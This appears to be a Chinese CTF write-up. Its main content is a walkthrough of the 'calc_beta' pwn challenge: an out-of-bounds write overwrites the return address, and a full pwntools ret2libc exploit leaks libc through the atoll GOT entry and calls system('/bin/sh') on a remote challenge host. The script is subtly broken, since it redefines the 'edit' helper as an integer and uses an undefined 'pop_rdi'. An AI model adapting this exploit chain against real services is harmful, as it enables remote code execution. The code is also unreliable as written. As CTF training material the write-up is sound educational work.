Week1
第一周的题都比较简单,就想说一下GNU那道比较新颖,挺好玩的。
GNU Debugger
一道比较新颖的题目,让新手熟悉gdb的操作。跟着做就能获得shell。
Week2
calc_beta
一道不错的计算器类的题目,之前没怎么遇到过,记录一下复现的过程。(这需要对栈的一些结构非常熟悉)

64位题目,开启了NX与canary保护

从ida中可以看出,通过选择不同的函数执行不同的指令,根据提示可以知道,本次题目的漏洞应该就在前三个函数中。分别进入三个函数里面看,发现只有edit_numbers函数是我们可以进行输入操作的,因此猜测这里存在漏洞。

edit_numbers这个函数主要执行修改操作,先选择一块大小为8的区域,再输入数据,大致结构应该是这样(由于本题的漏洞利用没涉及到canary,就没在图中表示出来)

那不难发现若我们先选择输入0,那么我们再输入的数据会存储到-1这个地方,而这个地方正是存储edit_numbers这个函数的返回地址,因此可以通过这一点我们来构造rop链。

通过测试发现,确实和上述推理是一样的,接下来大致跟ret2libc一样了。(在这里exp借鉴了下其他师傅的了,感觉lambda确实挺简便的)
from pwn import * context(arch='amd64',log_level='debug') file = './calc' elf = ELF(file) libc = ELF("./calclibc.so.6") s = lambda data :p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) r = lambda num=4096 :p.recv(num) rl = lambda :p.recvline() ru = lambda text :p.recvuntil(text) uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) inf = lambda s :info(f"{s} ==> 0x{eval(s):x}") def edit(number,data): ru("5. Exit") sl("2") ru("Which number?") sl(str(number)) ru("Change to what?") sl(str(data)) p=remote('39.106.57.152',37134)
beta_puts=0x400857 edit=0x40116A atoll_got = elf.got['atoll'] rdi=0x401253 ret=0x4006b6 rsi_r15=0x401251
edit(1,atoll_got) edit(2,beta_puts) edit(3,ret) edit(4,edit) edit(0,pop_rdi) ru("> ") atoll_addr=u64(p.recv(6).ljust(8,b"\x00")) print("write_addr",atoll_addr) libcbase = atoll_addr - libc.symbols['atoll'] system_addr = libcbase + libc.symbols['system'] binsh_addr = libcbase + next(libc.search(b'/bin/sh')) ru("> ") sl("8") ru("Change to what?") sl(str(binsh_addr)) edit(6,binsh_addr) edit(7,system_addr) edit(5,pop_rdi) edit(4,ret) p.interactive()
|